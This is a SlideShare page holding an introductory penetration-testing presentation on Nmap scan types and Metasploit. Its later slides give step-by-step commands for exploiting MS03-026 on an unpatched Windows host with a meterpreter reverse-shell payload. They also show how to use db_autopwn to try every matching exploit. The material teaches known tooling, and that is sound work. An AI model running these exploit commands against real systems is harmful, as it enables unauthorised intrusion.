SlideShare a Scribd company logo
1 of 23
Using Nmap and Metasploit Presented by: Conrad Brown cbrown@radnetworx.com http://www.lokisec.com http://twitter.com/guardrad
Who I am Founder of Lokisec.com and Southern Maryland Hacker Space Alphabet Soup A+, Net+, Sec+, MCSE, MCITP, CEH, ECSA Not an expert in Metasploit or Nmap
What is Nmap? Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).
TCP Connection Flow Source: http://publib.boulder.ibm.com/infocenter/tpfhelp/current/index.jsp?topic=%2Fcom.ibm.ztpf-ztpfdf.doc_put.cur%2Fgtps5%2Fs5tcpcf.html
Typical Nmap scans -sS: TCP SYN sS tells Nmap to send a SYN packet to Nmap’s default port list, which includes the most common ports a service my run on.  If a SYN/ACK packet is received then the port is open.  If a RST packet is received then the port is closed. -sT: Connect() sT tells Nmap to issue a connect() system call to each port in Nmap’s default port list. If the connect() call is successful then the port is open. If it fails or is blocked then the port is closed.
Typical Nmap scans cont. -sA: ACK sA tells Nmap to send an ACK packet to Nmap’s default port list.  If a RST packet has been received then those ports are marked as unfiltered.  This means that there was not a stateful firewall prior to your target.  If some other message is received then Nmap marks those ports as filtered. -sW: Window sW tells Nmap to send an ACK packet to Nmap’s default port list just like -sA.  This scan however looks at the TCP Window property.  Open ports have a window size listed.  Closed ports will have a 0 window size listed.
Typical Nmap scans cont. -sM: Maimon scans sM tells Nmap to send a Fin/ACK to Nmap’s default port list.  Most systems respond with a RST packet for both opened and closed ports.  However, some BSD systems will drop the packet if the port is opened. -sU: UDP Scan sU tells Nmap to send an empty UDP packet to Nmap’s default port list.  If an ICMP type 3 code 3 message is returned then the port is marked as closed.  If an ICMP type 3 codes 1, 2, 9, 10, or 13 is returned then the port is labeled as filtered.  If a service responds then the port is open.  If a service responds and then does not respond to a second UDP packet then the port labeled as open filtered.
Typical Nmap scans cont. -sN: TCP Null sN tells Nmap to send an empty or Null packet to Nmap’s default port list.  Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed.  If the port is open then no response is given.  This only works on devices that are compliant with RFC 793. -sF: FIN sF tells Nmap to send a packet with the FIN bit set to Nmap’s default port list.  Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed.  If the port is open then no response is given.  This only works on devices that are compliant with RFC 793.
Typical Nmap scans cont. -sX: Xmas Scan sX tells Nmap to send a packet with the FIN, PSH, and URG bits set to Nmap’s default port list.  Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793.
Scan our target using Nmap Let’s get the open TCP ports and the OS Nmap -sS -O -v <Target IP/Range>
A wealth of information As you can see we have TCP ports 135, 139, 445, 1025, and 5000 opened. There’s a good chance this is a Windows box. -O -v tells us that it is an unpatched 2000 or XP box.
Searching through CVEs With the information from the Nmap scan look through cve.mitre.org CVE-2003-0812 (MS03_026) CVE-2006-4688 (MS06_066)
What is Metasploit? The Metasploit® Framework is a free, open source penetration testing solution developed by the open source community and Rapid7. It is the de-facto standard for penetration testing with more than one million unique downloads per year and the world’s largest, public database of quality assured exploits.
What is Metasploit? Features are constantly evolving which means items that once worked one way may not work that way now.
Terms Vulnerability - a weakness which allows attackers to reduce a system’s information assurance. Exploit - a piece of code that takes advantage of a systems vulnerabilities. Payload - a piece of software that lets you control a system after it has been exploited.
Open Metasploit CD /pentest/exploits/framework ./msfconsole
Easy exploit: MS03_026 Use exploit/windows/dcerpc/ms03_026_dcom Set payload windows/meterpreter/reverse_https Set lhost <IP of Metasploit machine> Set rhost <IP of victim> exploit
Shell! Now you have shell on the box and can have your way with it.
Another (noisy) way! Start mySQL start mysql Start Metasploit msfconsole
Another (noisy) way! cont. Tell Metasploit to use the mySQL DB driver: db_drivermysql Tell Metasploit to connect to the database: db_connect root:toor@127.0.0.1/<db>
Another (noisy) way! cont. Run Nmap inside Metasploit and auto populate the database with targets: db_nmap -sS -O -v <Target> Check the database for information gathered: hosts services
Another (noisy) way! cont. db_autopwn -t -p -e db_autopwn tries all known exploits to vulnerabilities that match the criteria (services) in the database. Again this is noisy!
Better use of db_autopwn db_autopwn -p -t This will show you exploits that match the opened ports.  This will narrow your exploit search down to those that could potentially work instead of going through all of the CVEs.

More Related Content

What's hot (20)

Recon with Nmap
Recon with Nmap Recon with Nmap
Recon with Nmap
 
Access over Ethernet: Insecurites in AoE
Access over Ethernet: Insecurites in AoEAccess over Ethernet: Insecurites in AoE
Access over Ethernet: Insecurites in AoE
 
Nmap and metasploitable
Nmap and metasploitableNmap and metasploitable
Nmap and metasploitable
 
Understanding NMAP
Understanding NMAPUnderstanding NMAP
Understanding NMAP
 
Networking in linux
Networking in linuxNetworking in linux
Networking in linux
 
NMap
NMapNMap
NMap
 
Netcat
NetcatNetcat
Netcat
 
Nmap
NmapNmap
Nmap
 
Nmap(network mapping)
Nmap(network mapping)Nmap(network mapping)
Nmap(network mapping)
 
Sniffing in a Switched Network
Sniffing in a Switched NetworkSniffing in a Switched Network
Sniffing in a Switched Network
 
Hacking With Nmap - Scanning Techniques
Hacking With Nmap - Scanning TechniquesHacking With Nmap - Scanning Techniques
Hacking With Nmap - Scanning Techniques
 
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
 
Penetration Testing Boot CAMP
Penetration Testing Boot CAMPPenetration Testing Boot CAMP
Penetration Testing Boot CAMP
 
Client side exploits
Client side exploitsClient side exploits
Client side exploits
 
Monit
MonitMonit
Monit
 
Scanning with nmap
Scanning with nmapScanning with nmap
Scanning with nmap
 
CNIT 50: 6. Command Line Packet Analysis Tools
CNIT 50: 6. Command Line Packet Analysis ToolsCNIT 50: 6. Command Line Packet Analysis Tools
CNIT 50: 6. Command Line Packet Analysis Tools
 
Nmap for Scriptors
Nmap for ScriptorsNmap for Scriptors
Nmap for Scriptors
 
Network Mapper (NMAP)
Network Mapper (NMAP)Network Mapper (NMAP)
Network Mapper (NMAP)
 
NMAP
NMAPNMAP
NMAP
 

Viewers also liked

государственные люди м.и. кутузов
государственные люди м.и. кутузовгосударственные люди м.и. кутузов
государственные люди м.и. кутузовIren Zielinski
 
Evaluation question2
Evaluation question2Evaluation question2
Evaluation question2leeyameghani
 
Cоздание библиотечных фотоальбомов и Google+
Cоздание библиотечных фотоальбомов и Google+Cоздание библиотечных фотоальбомов и Google+
Cоздание библиотечных фотоальбомов и Google+Iren Zielinski
 
путеводитель по виртуальной информационно краеведческой выставке
путеводитель по виртуальной  информационно краеведческой выставкепутеводитель по виртуальной  информационно краеведческой выставке
путеводитель по виртуальной информационно краеведческой выставкеIren Zielinski
 
Jennifer's class presentation
Jennifer's class presentationJennifer's class presentation
Jennifer's class presentationjennifercombs371
 
писатели и художники
писатели и художникиписатели и художники
писатели и художникиIren Zielinski
 
Jennifer's class presentation
Jennifer's class presentationJennifer's class presentation
Jennifer's class presentationjennifercombs371
 
Chibyke Global Systems Limited Profile
Chibyke Global Systems Limited ProfileChibyke Global Systems Limited Profile
Chibyke Global Systems Limited ProfileChibuike Ogbuanu
 
Pre questionnaire graphs
Pre questionnaire graphsPre questionnaire graphs
Pre questionnaire graphsleeyameghani
 
Presentation11 111017084500-phpapp01
Presentation11 111017084500-phpapp01Presentation11 111017084500-phpapp01
Presentation11 111017084500-phpapp01leeyameghani
 
военные деятели россии
военные деятели россиивоенные деятели россии
военные деятели россииIren Zielinski
 
военные деятели россии
военные деятели россиивоенные деятели россии
военные деятели россииIren Zielinski
 
Mobile health insurance exchange
Mobile health insurance exchangeMobile health insurance exchange
Mobile health insurance exchangeKuljeet Kaur
 
DESAFIO
DESAFIODESAFIO
DESAFIOcmam11
 
устный журнал
устный журналустный журнал
устный журналIren Zielinski
 

Viewers also liked (20)

Nmap Basics
Nmap BasicsNmap Basics
Nmap Basics
 
carbon credit
carbon creditcarbon credit
carbon credit
 
государственные люди м.и. кутузов
государственные люди м.и. кутузовгосударственные люди м.и. кутузов
государственные люди м.и. кутузов
 
Evaluation question2
Evaluation question2Evaluation question2
Evaluation question2
 
Conduccion politica
Conduccion politicaConduccion politica
Conduccion politica
 
Cоздание библиотечных фотоальбомов и Google+
Cоздание библиотечных фотоальбомов и Google+Cоздание библиотечных фотоальбомов и Google+
Cоздание библиотечных фотоальбомов и Google+
 
путеводитель по виртуальной информационно краеведческой выставке
путеводитель по виртуальной  информационно краеведческой выставкепутеводитель по виртуальной  информационно краеведческой выставке
путеводитель по виртуальной информационно краеведческой выставке
 
Jennifer's class presentation
Jennifer's class presentationJennifer's class presentation
Jennifer's class presentation
 
Cookstream
CookstreamCookstream
Cookstream
 
писатели и художники
писатели и художникиписатели и художники
писатели и художники
 
Jennifer's class presentation
Jennifer's class presentationJennifer's class presentation
Jennifer's class presentation
 
Chibyke Global Systems Limited Profile
Chibyke Global Systems Limited ProfileChibyke Global Systems Limited Profile
Chibyke Global Systems Limited Profile
 
Pre questionnaire graphs
Pre questionnaire graphsPre questionnaire graphs
Pre questionnaire graphs
 
Bab iv
Bab ivBab iv
Bab iv
 
Presentation11 111017084500-phpapp01
Presentation11 111017084500-phpapp01Presentation11 111017084500-phpapp01
Presentation11 111017084500-phpapp01
 
военные деятели россии
военные деятели россиивоенные деятели россии
военные деятели россии
 
военные деятели россии
военные деятели россиивоенные деятели россии
военные деятели россии
 
Mobile health insurance exchange
Mobile health insurance exchangeMobile health insurance exchange
Mobile health insurance exchange
 
DESAFIO
DESAFIODESAFIO
DESAFIO
 
устный журнал
устный журналустный журнал
устный журнал
 

Similar to Using metasploit

Analysis of ESET Smart Security 6 personal firewall’s thresholds and detectio...
Analysis of ESET Smart Security 6 personal firewall’s thresholds and detectio...Analysis of ESET Smart Security 6 personal firewall’s thresholds and detectio...
Analysis of ESET Smart Security 6 personal firewall’s thresholds and detectio...Andrej Šimko
 
Packet sniffing in switched LANs
Packet sniffing in switched LANsPacket sniffing in switched LANs
Packet sniffing in switched LANsIshraq Al Fataftah
 
01204427-scanner.ppt
01204427-scanner.ppt01204427-scanner.ppt
01204427-scanner.pptVarunBehere1
 
Tomasz P from Poland
Tomasz P from PolandTomasz P from Poland
Tomasz P from Polandirenazd
 
Practical White Hat Hacker Training - Active Information Gathering
Practical White Hat Hacker Training - Active Information GatheringPractical White Hat Hacker Training - Active Information Gathering
Practical White Hat Hacker Training - Active Information GatheringPRISMA CSI
 
Computer network (11)
Computer network (11)Computer network (11)
Computer network (11)NYversity
 
Firewalls rules using iptables in linux
Firewalls rules using iptables in linuxFirewalls rules using iptables in linux
Firewalls rules using iptables in linuxaamir lucky
 
Module 3 Scanning
Module 3   ScanningModule 3   Scanning
Module 3 Scanningleminhvuong
 
Security & ethical hacking
Security & ethical hackingSecurity & ethical hacking
Security & ethical hackingAmanpreet Singh
 
NMap 101 offline meetup by CyberForge Academy
NMap 101 offline meetup by CyberForge AcademyNMap 101 offline meetup by CyberForge Academy
NMap 101 offline meetup by CyberForge Academycyberforgeacademy
 
Copy of a simple tcp spoofing attack
Copy of a simple tcp spoofing attackCopy of a simple tcp spoofing attack
Copy of a simple tcp spoofing attackVishal Gurujuwada
 

Similar to Using metasploit (20)

Analysis of ESET Smart Security 6 personal firewall’s thresholds and detectio...
Analysis of ESET Smart Security 6 personal firewall’s thresholds and detectio...Analysis of ESET Smart Security 6 personal firewall’s thresholds and detectio...
Analysis of ESET Smart Security 6 personal firewall’s thresholds and detectio...
 
Contents namp
Contents nampContents namp
Contents namp
 
Contents namp
Contents nampContents namp
Contents namp
 
Backtrack Manual Part3
Backtrack Manual Part3Backtrack Manual Part3
Backtrack Manual Part3
 
Nmap
NmapNmap
Nmap
 
Packet sniffing in switched LANs
Packet sniffing in switched LANsPacket sniffing in switched LANs
Packet sniffing in switched LANs
 
NMAP1.ppt
NMAP1.pptNMAP1.ppt
NMAP1.ppt
 
Scanning
ScanningScanning
Scanning
 
Zen map
Zen mapZen map
Zen map
 
Packet sniffingin switch lans
Packet sniffingin switch lansPacket sniffingin switch lans
Packet sniffingin switch lans
 
01204427-scanner.ppt
01204427-scanner.ppt01204427-scanner.ppt
01204427-scanner.ppt
 
Tomasz P from Poland
Tomasz P from PolandTomasz P from Poland
Tomasz P from Poland
 
Practical White Hat Hacker Training - Active Information Gathering
Practical White Hat Hacker Training - Active Information GatheringPractical White Hat Hacker Training - Active Information Gathering
Practical White Hat Hacker Training - Active Information Gathering
 
Computer network (11)
Computer network (11)Computer network (11)
Computer network (11)
 
Firewalls rules using iptables in linux
Firewalls rules using iptables in linuxFirewalls rules using iptables in linux
Firewalls rules using iptables in linux
 
Module 3 Scanning
Module 3   ScanningModule 3   Scanning
Module 3 Scanning
 
Security & ethical hacking
Security & ethical hackingSecurity & ethical hacking
Security & ethical hacking
 
NMap 101 offline meetup by CyberForge Academy
NMap 101 offline meetup by CyberForge AcademyNMap 101 offline meetup by CyberForge Academy
NMap 101 offline meetup by CyberForge Academy
 
Iptables presentation
Iptables presentationIptables presentation
Iptables presentation
 
Copy of a simple tcp spoofing attack
Copy of a simple tcp spoofing attackCopy of a simple tcp spoofing attack
Copy of a simple tcp spoofing attack
 

Recently uploaded

Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxnull - The Open Security Community
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsPrecisely
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksSoftradix Technologies
 
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024BookNet Canada
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Wonjun Hwang
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024BookNet Canada
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentationphoebematthew05
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraDeakin University
 

Recently uploaded (20)

Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power Systems
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort ServiceHot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
 
Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other Frameworks
 
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptxVulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
 
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
Transcript: #StandardsGoals for 2024: What’s new for BISAC - Tech Forum 2024
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentation
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
The transition to renewables in India.pdf
The transition to renewables in India.pdfThe transition to renewables in India.pdf
The transition to renewables in India.pdf
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning era
 

Using metasploit

  • 1. Using Nmap and Metasploit Presented by: Conrad Brown cbrown@radnetworx.com http://www.lokisec.com http://twitter.com/guardrad
  • 2. Who I am Founder of Lokisec.com and Southern Maryland Hacker Space Alphabet Soup A+, Net+, Sec+, MCSE, MCITP, CEH, ECSA Not an expert in Metasploit or Nmap
  • 3. What is Nmap? Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X. In addition to the classic command-line Nmap executable, the Nmap suite includes an advanced GUI and results viewer (Zenmap), a flexible data transfer, redirection, and debugging tool (Ncat), a utility for comparing scan results (Ndiff), and a packet generation and response analysis tool (Nping).
  • 4. TCP Connection Flow Source: http://publib.boulder.ibm.com/infocenter/tpfhelp/current/index.jsp?topic=%2Fcom.ibm.ztpf-ztpfdf.doc_put.cur%2Fgtps5%2Fs5tcpcf.html
  • 5. Typical Nmap scans -sS: TCP SYN sS tells Nmap to send a SYN packet to Nmap’s default port list, which includes the most common ports a service my run on. If a SYN/ACK packet is received then the port is open. If a RST packet is received then the port is closed. -sT: Connect() sT tells Nmap to issue a connect() system call to each port in Nmap’s default port list. If the connect() call is successful then the port is open. If it fails or is blocked then the port is closed.
  • 6. Typical Nmap scans cont. -sA: ACK sA tells Nmap to send an ACK packet to Nmap’s default port list. If a RST packet has been received then those ports are marked as unfiltered. This means that there was not a stateful firewall prior to your target. If some other message is received then Nmap marks those ports as filtered. -sW: Window sW tells Nmap to send an ACK packet to Nmap’s default port list just like -sA.  This scan however looks at the TCP Window property.  Open ports have a window size listed.  Closed ports will have a 0 window size listed.
  • 7. Typical Nmap scans cont. -sM: Maimon scans sM tells Nmap to send a Fin/ACK to Nmap’s default port list. Most systems respond with a RST packet for both opened and closed ports. However, some BSD systems will drop the packet if the port is opened. -sU: UDP Scan sU tells Nmap to send an empty UDP packet to Nmap’s default port list. If an ICMP type 3 code 3 message is returned then the port is marked as closed. If an ICMP type 3 codes 1, 2, 9, 10, or 13 is returned then the port is labeled as filtered. If a service responds then the port is open. If a service responds and then does not respond to a second UDP packet then the port labeled as open filtered.
  • 8. Typical Nmap scans cont. -sN: TCP Null sN tells Nmap to send an empty or Null packet to Nmap’s default port list. Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793. -sF: FIN sF tells Nmap to send a packet with the FIN bit set to Nmap’s default port list. Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793.
  • 9. Typical Nmap scans cont. -sX: Xmas Scan sX tells Nmap to send a packet with the FIN, PSH, and URG bits set to Nmap’s default port list. Because this packet does not contain a SYN, RST, or ACK bit a packet with the RST bit is returned if the port is closed. If the port is open then no response is given. This only works on devices that are compliant with RFC 793.
  • 10. Scan our target using Nmap Let’s get the open TCP ports and the OS Nmap -sS -O -v <Target IP/Range>
  • 11. A wealth of information As you can see we have TCP ports 135, 139, 445, 1025, and 5000 opened. There’s a good chance this is a Windows box. -O -v tells us that it is an unpatched 2000 or XP box.
  • 12. Searching through CVEs With the information from the Nmap scan look through cve.mitre.org CVE-2003-0812 (MS03_026) CVE-2006-4688 (MS06_066)
  • 13. What is Metasploit? The Metasploit® Framework is a free, open source penetration testing solution developed by the open source community and Rapid7. It is the de-facto standard for penetration testing with more than one million unique downloads per year and the world’s largest, public database of quality assured exploits.
  • 14. What is Metasploit? Features are constantly evolving which means items that once worked one way may not work that way now.
  • 15. Terms Vulnerability - a weakness which allows attackers to reduce a system’s information assurance. Exploit - a piece of code that takes advantage of a systems vulnerabilities. Payload - a piece of software that lets you control a system after it has been exploited.
  • 16. Open Metasploit CD /pentest/exploits/framework ./msfconsole
  • 17. Easy exploit: MS03_026 Use exploit/windows/dcerpc/ms03_026_dcom Set payload windows/meterpreter/reverse_https Set lhost <IP of Metasploit machine> Set rhost <IP of victim> exploit
  • 18. Shell! Now you have shell on the box and can have your way with it.
  • 19. Another (noisy) way! Start mySQL start mysql Start Metasploit msfconsole
  • 20. Another (noisy) way! cont. Tell Metasploit to use the mySQL DB driver: db_drivermysql Tell Metasploit to connect to the database: db_connect root:toor@127.0.0.1/<db>
  • 21. Another (noisy) way! cont. Run Nmap inside Metasploit and auto populate the database with targets: db_nmap -sS -O -v <Target> Check the database for information gathered: hosts services
  • 22. Another (noisy) way! cont. db_autopwn -t -p -e db_autopwn tries all known exploits to vulnerabilities that match the criteria (services) in the database. Again this is noisy!
  • 23. Better use of db_autopwn db_autopwn -p -t This will show you exploits that match the opened ports. This will narrow your exploit search down to those that could potentially work instead of going through all of the CVEs.